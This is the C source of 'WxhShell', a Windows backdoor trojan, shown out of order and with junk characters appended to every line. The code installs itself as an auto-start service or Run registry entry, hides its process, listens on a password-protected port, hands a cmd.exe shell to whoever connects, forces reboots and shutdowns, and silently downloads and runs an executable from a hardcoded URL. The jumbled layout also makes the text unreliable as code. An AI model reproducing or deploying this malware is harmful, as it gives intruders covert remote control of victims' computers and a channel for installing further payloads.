    closesocket(wsh); %}/)_RzQ  
    ExitThread(0); n2E2V<#   
    } hf[K\aAk  
    break; S`::f(e  
    } 7j+.H/2  
  // 关机 t%)L8%Jr  
  case 'd': { $a G'.0HW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]#nAld1cmy  
    if(Boot(SHUTDOWN)) <FP -]R)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xp' KQ1w)  
    else { {RK#W~h  
    closesocket(wsh); N|DY)W  
    ExitThread(0); x {rt\OT  
    } .#X0P=  
    break; <YC{q>EMc  
    } ]@xc9 tlG  
  // 获取shell m5S/T\,X  
  case 's': { gI]Vyg<{d  
    CmdShell(wsh); ~'ovJ46tx  
    closesocket(wsh); XP'KgTF  
    ExitThread(0); ]n+:lsiV  
    break; HN:{rAIfc  
  } }~7>S5  
  // 退出 $hL0/T-m  
  case 'x': { 0t) IW D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fqcyCu7Ep  
    CloseIt(wsh); hm& ~6rB  
    break; ZrTq)BZ  
    } thh, V   
  // 离开 \sk,3b-&'  
  case 'q': { [-l^,,E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E_++yK^=  
    closesocket(wsh); |A2.W8`o  
    WSACleanup(); vjHbg#0%  
    exit(1); 9DIGK\  
    break; L8V'mUyD  
        } CTwP{[%Pk  
  } KT3[{lr  
  } `]%{0 Rx  
@y,p-##e  
  // 提示信息 ?B-aj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,yB-jk?  
} D!:Qy@Zw  
  } b c+' n  
hJ|z8Sy@1  
  return; WYq, i}S  
} \UXQy{Ex  
PgVM>_nHk  
// shell模块句柄 ar6Z?v$  
int CmdShell(SOCKET sock) MFC= oKD  
{ (F @IUbnl  
STARTUPINFO si; 8} U/fQ~  
ZeroMemory(&si,sizeof(si)); zR e0z2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +Y .As  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;G w5gK^  
PROCESS_INFORMATION ProcessInfo; R)#"Ab Z'  
char cmdline[]="cmd"; _8bqk\m+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P?bdjU#_n`  
  return 0; 5f1yszd  
} I!bG7;=_  
m8FKr/Z-  
// 自身启动模式 o}[wu:>yk  
int StartFromService(void) 1f}Dza9  
{ 77)C`]0(  
typedef struct $hA[vi\5  
{ Qc6323/"  
  DWORD ExitStatus; [ P 8e=;  
  DWORD PebBaseAddress; a+ ]@$8+  
  DWORD AffinityMask; 2^|*M@3r  
  DWORD BasePriority; j3$KYf`T}  
  ULONG UniqueProcessId; f1Rm9``  
  ULONG InheritedFromUniqueProcessId; RNm/&F1C$  
}   PROCESS_BASIC_INFORMATION; _Wgg=A"G  
]+J]}C]\d  
PROCNTQSIP NtQueryInformationProcess; ?A]:`l_"  
 6CCM7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I+}h+[W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V;>p@uE,P  
S:Hg =|R  
  HANDLE             hProcess; 9X!OQxmg  
  PROCESS_BASIC_INFORMATION pbi; J H6\;G6  
Wt_@ vs@.O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `TAhW  
  if(NULL == hInst ) return 0; eQMY3/#  
W4Zi?@L>'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /H}83 C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?:UDK?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vRm;H|[%S  
."9v1kW  
  if (!NtQueryInformationProcess) return 0; 2 &R-z G  
;hRo} +\l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [IiwpC  
  if(!hProcess) return 0;  ~UXW  
*ozeoX'5D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZVeY`o(uE  
la f b^  
  CloseHandle(hProcess); ny{|{ a  
VNF@)!l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uZi]$/ic  
if(hProcess==NULL) return 0; )bqO}_B  
y6;A4p>  
HMODULE hMod; 7 v#sr<  
char procName[255]; BsR xD9r  
unsigned long cbNeeded; 'r3I/qg*m  
zxXm9zrLo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "`16-g97  
\  VJ3  
  CloseHandle(hProcess); )~rN{W<s`H  
GBN^ *I  
if(strstr(procName,"services")) return 1; // 以服务启动 ~fEgrF d  
c}lUP(Ss  
  return 0; // 注册表启动 W,}C*8{+  
} wQDKv'zU1  
1)H+iN|im/  
// 主模块 LY/K ,6^a  
int StartWxhshell(LPSTR lpCmdLine) @MTm8E6au  
{ <!R~G-D#_T  
  SOCKET wsl; 0zetOlFbO  
BOOL val=TRUE; nCJ)=P.d  
  int port=0; G,%R`Xns  
  struct sockaddr_in door; Kh}#At^C8e  
1%t9ic  
  if(wscfg.ws_autoins) Install(); d XrLeoK  
mZ'`XAS~;  
port=atoi(lpCmdLine); +wr2TT~  
;i>|5tEy  
if(port<=0) port=wscfg.ws_port; *JUP~/Nr  
u05Zg*.[  
  WSADATA data; ?(4 =:o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yY[N\*P  
cd#@"&r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `q".P]wtKN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g7rn|<6FI  
  door.sin_family = AF_INET; hr(E, TAe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {|bf`  
  door.sin_port = htons(port); NvQN  
7vubkj&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6j+_)7.V  
closesocket(wsl); QVsOB$  
return 1; C65( m  
} *6?h,Dt L  
GBVw6+(c  
  if(listen(wsl,2) == INVALID_SOCKET) { w/#k.YE  
closesocket(wsl); L W 8LD|@  
return 1; f9?\Q'v8  
} jIaAx_  
  Wxhshell(wsl); }$?x wcPU  
  WSACleanup(); Z~[c65Nlu  
= a$7OV.  
return 0; ?v p' /l"  
Gk g)\ 3  
} N*gnwrP{  
)OS^tG[=  
// 以NT服务方式启动 ~*@ UQ9*p#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >/9f>d?w^  
{ !8(: G6Ne  
DWORD   status = 0; 9{]U6A*K0w  
  DWORD   specificError = 0xfffffff; vlY83mU.  
bk44 qL;8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JmjqA Dex  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ko|nF-r_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8GgZAu'X  
  serviceStatus.dwWin32ExitCode     = 0; EIPNR:6t  
  serviceStatus.dwServiceSpecificExitCode = 0; j}ywdP`a  
  serviceStatus.dwCheckPoint       = 0; tN&4t xB  
  serviceStatus.dwWaitHint       = 0; pX `BDYg.  
q'fZA;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b*&AIiT  
  if (hServiceStatusHandle==0) return; Z9,-FO{#3-  
<F{EZ Ii  
status = GetLastError(); CB]#`|f  
  if (status!=NO_ERROR) ^{lcj  
{ Ii FeO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PUZH[-:c  
    serviceStatus.dwCheckPoint       = 0; NitsUg@<  
    serviceStatus.dwWaitHint       = 0; Cdg/wRje  
    serviceStatus.dwWin32ExitCode     = status; e:D8.h+ &}  
    serviceStatus.dwServiceSpecificExitCode = specificError; *")Req  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [|.IXdJ!  
    return; =bgzl=A`  
  } _FR_6*C)5  
6}4?, r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?5-Y'(r  
  serviceStatus.dwCheckPoint       = 0; K%iWUl;  
  serviceStatus.dwWaitHint       = 0; B|XrjI?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k+b!Lw!L  
} jwhc;y  
dxfF.\BFDn  
// 处理NT服务事件,比如:启动、停止 /vO8s??  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8T-/G9u  
{ cuzU*QW"g  
switch(fdwControl) rO4R6A  
{ [@ >}  
case SERVICE_CONTROL_STOP: `Y]t*` e|  
  serviceStatus.dwWin32ExitCode = 0; $FXlH;_7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .Nt;J,U  
  serviceStatus.dwCheckPoint   = 0; DXA<m2&64N  
  serviceStatus.dwWaitHint     = 0; L8R{W0Zr>!  
  { ?TTtGbvU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m#w1?y)Z@X  
  } b?i5C4=K  
  return; 0])D)%B k  
case SERVICE_CONTROL_PAUSE: I8};t b#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uIh68UM  
  break; b$FK}D5  
case SERVICE_CONTROL_CONTINUE: F/p/&9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -@bOFClE  
  break; -4wr)zjfW  
case SERVICE_CONTROL_INTERROGATE: lidVe]>  
  break; FJ-X~^  
}; <OgwA$abl%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M]|tXo$?  
} jEhPx  
CZZwBt$P  
// 标准应用程序主函数 28 Q\{Z.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vo (riHH  
{ A; _Zw[  
-So$ f-y  
// 获取操作系统版本 R` g'WaDk  
OsIsNt=GetOsVer(); z H|YVg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (>]frlEU~  
"t0l)P*C}  
  // 从命令行安装 2nra@  
  if(strpbrk(lpCmdLine,"iI")) Install(); VN3 [B eH  
^5E:hW [*  
  // 下载执行文件 65]>6D43  
if(wscfg.ws_downexe) { *? V boyU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rF?gKk  
  WinExec(wscfg.ws_filenam,SW_HIDE); O, .c gX   
} 'Nkd *  
-XASS%  
if(!OsIsNt) { Dc@OrQu  
// 如果时win9x,隐藏进程并且设置为注册表启动 l6_dVK;s  
HideProc(); iH a:6  
StartWxhshell(lpCmdLine); wE~&Y? ^  
} p C^=?!:U  
else Phq"A[4=O  
  if(StartFromService()) DyPHQ}G  
  // 以服务方式启动 GBYeiEgZh  
  StartServiceCtrlDispatcher(DispatchTable); :MaP58dhh  
else <#nt?Xn  
  // 普通方式启动 s,CN<`/>x  
  StartWxhshell(lpCmdLine); x`:c0y9uG  
PQj'D <G  
return 0; XgI;2Be+&a  
} Y~TD)c=  
'2z1$zst,#  
^V}c8 P|  
@ / .w%  
=========================================== Y;)l  
P+L#p(K  
:X*$U ~aQ  
rSa=NpFxLu  
FW"n+7T  
Nn#;Kjul.  
" <EKTFHJ!  
U3**x5F_  
#include <stdio.h> 4^Ke? ;v  
#include <string.h> C;3  
#include <windows.h> mWUkkR(/  
#include <winsock2.h> prEI9/d"  
#include <winsvc.h> ;,lFocGv  
#include <urlmon.h> Y{d-k1?s5  
J ?0P{{  
#pragma comment (lib, "Ws2_32.lib") tdsfCvF= a  
#pragma comment (lib, "urlmon.lib") ?zuKVi? I  
sTS/ ]"l  
#define MAX_USER   100 // 最大客户端连接数 D_q"|D$SB  
#define BUF_SOCK   200 // sock buffer }Y"vUl_I2  
#define KEY_BUFF   255 // 输入 buffer G\z5Ue*  
8kLHQ0pmu  
#define REBOOT     0   // 重启 QXu[<V  
#define SHUTDOWN   1   // 关机 !$NQF/Ol  
WJJmM*>JW  
#define DEF_PORT   5000 // 监听端口 0Ke2%+yqJ  
~KQiNkA\|l  
#define REG_LEN     16   // 注册表键长度 _vJ(F  
#define SVC_LEN     80   // NT服务名长度 <2af&-EG s  
7NvnCs  
// 从dll定义API 3a?|}zr4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dv Vz#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z aYUf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !]3kFWs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I5@8=rFk  
bkuJN%  
// wxhshell配置信息 =w!2R QB  
struct WSCFG { cd|/ 4L 6  
  int ws_port;         // 监听端口 T65"?=<EB  
  char ws_passstr[REG_LEN]; // 口令 X[!S7[d-y  
  int ws_autoins;       // 安装标记, 1=yes 0=no sd9b9?qiu  
  char ws_regname[REG_LEN]; // 注册表键名 &+0?Xip{Z  
  char ws_svcname[REG_LEN]; // 服务名 8<x& Xd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j&u/T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sXmP<c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @'A0Lq+#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6e S~*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nAC>']K4$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3 a|pk4M  
h1H$3TpP  
}; &hUEOif  
U[?f@.&  
// default Wxhshell configuration $>7T s>8  
struct WSCFG wscfg={DEF_PORT, j#Qnu0D  
    "xuhuanlingzhe", ^(s(4|  
    1, erKi*GssZ  
    "Wxhshell", i &%m^p  
    "Wxhshell", + 9I|F m  
            "WxhShell Service", LzxO=+=9!q  
    "Wrsky Windows CmdShell Service", 8|(],NyEJ  
    "Please Input Your Password: ", ~{ GTL_w  
  1, :p%#U$S4  
  "http://www.wrsky.com/wxhshell.exe", +z[+kir  
  "Wxhshell.exe" "@^Q" RF  
    }; &>!-67  
SOZs!9oi  
// 消息定义模块 )PkW,214#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LJ6l3)tpD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t,n2N13  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W~PMR/^i  
char *msg_ws_ext="\n\rExit."; Yw yMC d  
char *msg_ws_end="\n\rQuit."; rog1  
char *msg_ws_boot="\n\rReboot..."; q65]bs4M  
char *msg_ws_poff="\n\rShutdown..."; $Dd-2p   
char *msg_ws_down="\n\rSave to "; -&Q+x,.%  
?6]B6  
char *msg_ws_err="\n\rErr!"; ~%2yDhdQ  
char *msg_ws_ok="\n\rOK!"; + MD84YR  
p6aR/gFkqv  
char ExeFile[MAX_PATH]; sH>`eqY  
int nUser = 0; Z- t&AH  
HANDLE handles[MAX_USER]; t3!OqM  
int OsIsNt; ]Ok'C"V(j  
(S4HU_,88  
SERVICE_STATUS       serviceStatus; L[Ot$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6Xz d> 5x  
61b*uoq0w?  
// 函数声明 oHr0;4Lg6  
int Install(void); /M'd$k"0z  
int Uninstall(void); U{j4FlB  
int DownloadFile(char *sURL, SOCKET wsh); >28l9U  
int Boot(int flag); `*elzW  
void HideProc(void); %% /8B  
int GetOsVer(void); '<xE 0<  
int Wxhshell(SOCKET wsl); ,"KfZf;?  
void TalkWithClient(void *cs); {bADMj1  
int CmdShell(SOCKET sock); `GkCOx,  
int StartFromService(void); pF7N = mO  
int StartWxhshell(LPSTR lpCmdLine); <f`n[QD2z  
}#-@5["-X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `N&*+!O%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^{{a v?h  
Te[v+jgLY,  
// 数据结构和表定义 W9pY=9]p+  
SERVICE_TABLE_ENTRY DispatchTable[] = nF_q{e7  
{ @?3^ Ks_  
{wscfg.ws_svcname, NTServiceMain}, w@&z0ODJ  
{NULL, NULL} gL-kI *Ra  
}; <i4]qO(0u  
QeC\(4?  
// 自我安装 IC5QH<.$C  
int Install(void) iC5HrOl6U  
{ .d r Y  
  char svExeFile[MAX_PATH]; FZO&r60$E  
  HKEY key; h`n '{s  
  strcpy(svExeFile,ExeFile); jpO0dtn3=  
KS<@;Tt  
// 如果是win9x系统,修改注册表设为自启动 :V5 Co!/+  
if(!OsIsNt) { BWQ`8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k*n~&y:O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cc*?4C/t  
  RegCloseKey(key); 4].o:d;`/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |!9xL*A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oe.Jm#?2.  
  RegCloseKey(key); U65l o[  
  return 0; tW4X+d"  
    } ]hS<"=oj  
  } >zDQt7+g;  
} CuH4~6  
else { -3i(N.)<;  
AWi>(wk<  
// 如果是NT以上系统,安装为系统服务 c+E\e]{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T7 "QwA  
if (schSCManager!=0) qD4s?j-9  
{ ~?Vod|>  
  SC_HANDLE schService = CreateService n@ SUu7o  
  ( auc:|?H~1n  
  schSCManager, R6BbkYWrX  
  wscfg.ws_svcname, Wh..QVv  
  wscfg.ws_svcdisp, b@&uwSv  
  SERVICE_ALL_ACCESS, 2oEuqHL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gm2|`^Xq$  
  SERVICE_AUTO_START, _S7?c^:~  
  SERVICE_ERROR_NORMAL, @2L^?*n=  
  svExeFile, ]W$G!(3A  
  NULL, E"_{S.Wc  
  NULL, N2U&TCc  
  NULL, \1gAWUt('  
  NULL, _hyqHvP  
  NULL -&`_bf%M  
  ); E b:iym0  
  if (schService!=0) qbsod  
  { K<:%ofB"S  
  CloseServiceHandle(schService); c5$DHT @N"  
  CloseServiceHandle(schSCManager); (J%4}Dm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ] 1pIIX}  
  strcat(svExeFile,wscfg.ws_svcname); p<H_]|7$7U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1t^y?<)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?k4Hk$V  
  RegCloseKey(key); dp^PiyL  
  return 0; gJr)z7W'8  
    } D{Nd2G  
  } n]Yz<#  
  CloseServiceHandle(schSCManager); }a[]I%bu 2  
} XWAIW= .  
} }dzVwP=  
p?>J86%[  
return 1; z^`4n_(Ygu  
} .z_nW1id  
{Kr}RR*{X  
// 自我卸载 ~`&4?c3p  
int Uninstall(void) BHAFO E  
{ *X$qgSW  
  HKEY key; >QvqH 2  
1Z)P.9c  
if(!OsIsNt) { r<1W.xd":  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #*.4Jv<R  
  RegDeleteValue(key,wscfg.ws_regname); +58^{_k+%  
  RegCloseKey(key); .<>t2,Af  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;"Qq/ knVL  
  RegDeleteValue(key,wscfg.ws_regname); _g/d/{-{Q  
  RegCloseKey(key); >*gf1"  
  return 0; SF*mY=1  
  } }v2p]D5n.  
} YT oG'#qs  
} d*Su c  
else { 9&=%shOc+x  
AZhI~QWo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); { 'A 15  
if (schSCManager!=0) JUA%l  
{ jZqa+nG51  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [dP<A ?s  
  if (schService!=0) ]Xnar:5  
  { ;kZD>G8  
  if(DeleteService(schService)!=0) { u`Nrg<  
  CloseServiceHandle(schService); 0'r}]Mws  
  CloseServiceHandle(schSCManager); >S`=~4  
  return 0; @HMH>;haE  
  } flqr["czwK  
  CloseServiceHandle(schService); _ymSo`Iv R  
  } hs;|,r  
  CloseServiceHandle(schSCManager); d7b`X<=@s  
} NiVLx_<Pr'  
} X%-hTl  
CPNV\qCY  
return 1; \R@}X cqZ  
} j -o  
KYB3n85 1  
// 从指定url下载文件 ,?j!c*  
int DownloadFile(char *sURL, SOCKET wsh) k7*-v/ *S  
{ .aa7*e  
  HRESULT hr; XS@iu,uO  
char seps[]= "/"; "~=}&  
char *token; [7`S`\_NK  
char *file; uv$5MwKU  
char myURL[MAX_PATH]; $aTo9{M^  
char myFILE[MAX_PATH]; {)r[?%FMgV  
i=b'_SZ '  
strcpy(myURL,sURL); @]X!#&2>  
  token=strtok(myURL,seps); wjX0r7^@  
  while(token!=NULL) h6LjReNo  
  { t"%~r3{  
    file=token; AM!P?${a  
  token=strtok(NULL,seps); otjT ?R2g'  
  } ^8oN~HLZ  
p + JOUW  
GetCurrentDirectory(MAX_PATH,myFILE); R6;229e  
strcat(myFILE, "\\"); \ :@!rM  
strcat(myFILE, file); 0W6= '7  
  send(wsh,myFILE,strlen(myFILE),0); 79)iv+nf\l  
send(wsh,"...",3,0); %`G}/"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E"BW-<_!  
  if(hr==S_OK) S?v;+3TG  
return 0; \J(~ Nv5!  
else  nSo.,72  
return 1; `ZC -lAY  
{yf, :5  
} Gv)*[7  
T`v  
// 系统电源模块 hZ<FCY,/?  
int Boot(int flag) %:l\Vhhz  
{ QxEmuiN  
  HANDLE hToken; O&.gc p!  
  TOKEN_PRIVILEGES tkp; tJ d/u QJ  
ri"=)]  
  if(OsIsNt) { x51p'bNy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w{;bvq%lY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fH ,h\0  
    tkp.PrivilegeCount = 1; PR7bu%Y*eD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p'/%"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bsc b  
if(flag==REBOOT) { GZ:1bV37%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vz,"vBds  
  return 0; pDr/8HEh  
} kbz+6LcV  
else { 2U+wiE|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "el3mloR 8  
  return 0; %kBrxf  
}  +@Kq  
  } jw2hB[WR  
  else { S|RUc}(  
if(flag==REBOOT) { ]Ah<kq2sk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0[Zs8oRiI  
  return 0; 1RQM-0W,  
} :NwFJc  
else { [9CBTS r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BXl Y V"  
  return 0; $*0XWrE  
} d5LL( "  
} Z +}# Ic  
W6 *5e{  
return 1; %8% 0l*n'  
} @q" #.?>s  
R /c-sV  
// win9x进程隐藏模块 ~m7?:(/lb  
void HideProc(void) &ujq6~#  
{ PsS8b  
zZCssn;[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ? O e,  
  if ( hKernel != NULL ) t+WUz#i"  
  { 5@Xy) z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [ 3SbWwg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kv\uBMJNW  
    FreeLibrary(hKernel); P<xCg  
  } ( v=Z$#l  
,n{ |d33  
return; +-:G+9L@  
} -v WX L  
TbR Ee;1  
// 获取操作系统版本 1,G f;mcQ  
int GetOsVer(void) {f%x8t$  
{ \]t }N  
  OSVERSIONINFO winfo; ,?!4P+ob  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G?yG|5.pU  
  GetVersionEx(&winfo); 1FEY&rpR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s\1c.  
  return 1; N^tH&\G\m  
  else 0',-V2  
  return 0; 0(!=N 1l  
} [E%Ov0OC  
z 4`H<Pn  
// 客户端句柄模块 e#uF?v]O  
int Wxhshell(SOCKET wsl) |S VL%agZ  
{ _/[(&}M  
  SOCKET wsh; w8AHs/'r  
  struct sockaddr_in client; F1zsGlObu}  
  DWORD myID; e~BUAz  
8 =<&9TmE  
  while(nUser<MAX_USER) Y)v_O_`  
{ wd~!j&`a  
  int nSize=sizeof(client); 3HmJixy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SE!0f&  
  if(wsh==INVALID_SOCKET) return 1; *e-+~/9~  
VbzW4J_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M)CE%/P  
if(handles[nUser]==0) UzmD2A sO"  
  closesocket(wsh); pSJc.j  
else a<`s'N1G  
  nUser++; k39;7J  
  } &!FWo@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?wS/KEl=O  
1{X ;&y  
  return 0; mo3HUXf}8  
} , 8F(R%v  
 ZzuWN&  
// 关闭 socket BIjQ8 t  
void CloseIt(SOCKET wsh) $T80vEi+u  
{ 2r&T.  
closesocket(wsh); ;v1&Rs  
nUser--; 6>B_ojj:  
ExitThread(0); d>NM4n[h8  
} @5\ns-%  
|\~!o N  
// 客户端请求句柄 U*6)/.J  
void TalkWithClient(void *cs) -gKo@I  
{ g>O O '}lF  
o}K!p %5_  
  SOCKET wsh=(SOCKET)cs; S+(-k0  
  char pwd[SVC_LEN]; Od:, r  
  char cmd[KEY_BUFF]; ,] ,dOIOwn  
char chr[1]; 9W <I~  
int i,j; >w"k:O17  
xT$9M"  
  while (nUser < MAX_USER) { ^8yhx-mgb  
wtw  
if(wscfg.ws_passstr) { S>pbplE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r|tTDKGQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XZFM|=%X  
  //ZeroMemory(pwd,KEY_BUFF); -NyfW+T={  
      i=0; #2023Zo]  
  while(i<SVC_LEN) { u;qBW uO  
kW@,P.88  
  // 设置超时 IaLCWvHX  
  fd_set FdRead; <X_I`  
  struct timeval TimeOut; _*O^|QbM  
  FD_ZERO(&FdRead); JW4~Qwx  
  FD_SET(wsh,&FdRead); MdOQEWJ$|  
  TimeOut.tv_sec=8; 5L}qL?S`x|  
  TimeOut.tv_usec=0; zLxO\R!d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "NamP\hj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hkq[xgX  
X_eh+>D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =i/7&gC  
  pwd=chr[0]; uxd5XS  
  if(chr[0]==0xd || chr[0]==0xa) { 5xawa:K  
  pwd=0; (ft8,^=4  
  break; Je#vl4<L  
  } X^U)j N2  
  i++; j[fVF3v  
    } QM }TPE  
b!R\u1b  
  // 如果是非法用户,关闭 socket U h'1f7%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5@6%/='I q  
} Wm/0Y'$r&k  
*L3>:],7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U]Vu8$W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sacaL4[_<  
n%>c4*t  
while(1) { .}>DEpc:n  
9o]h}Xc  
  ZeroMemory(cmd,KEY_BUFF); <d GGH  
1h.N &;vy  
      // 自动支持客户端 telnet标准   L)cy&"L|  
  j=0; pUs s_3  
  while(j<KEY_BUFF) { xi.L?"^/!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y-TS?5Dr]  
  cmd[j]=chr[0]; R)3P"sGuN  
  if(chr[0]==0xa || chr[0]==0xd) { rVx%"_'*-  
  cmd[j]=0; #mNM5(o  
  break; h98_6Dw(]  
  } =W6AUN/%p  
  j++; RY(\/W#$  
    } MHv2r  
S'NZb!1+  
  // 下载文件 \)=X=yn2  
  if(strstr(cmd,"http://")) { yk4Huq&2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q#$4Kt;  
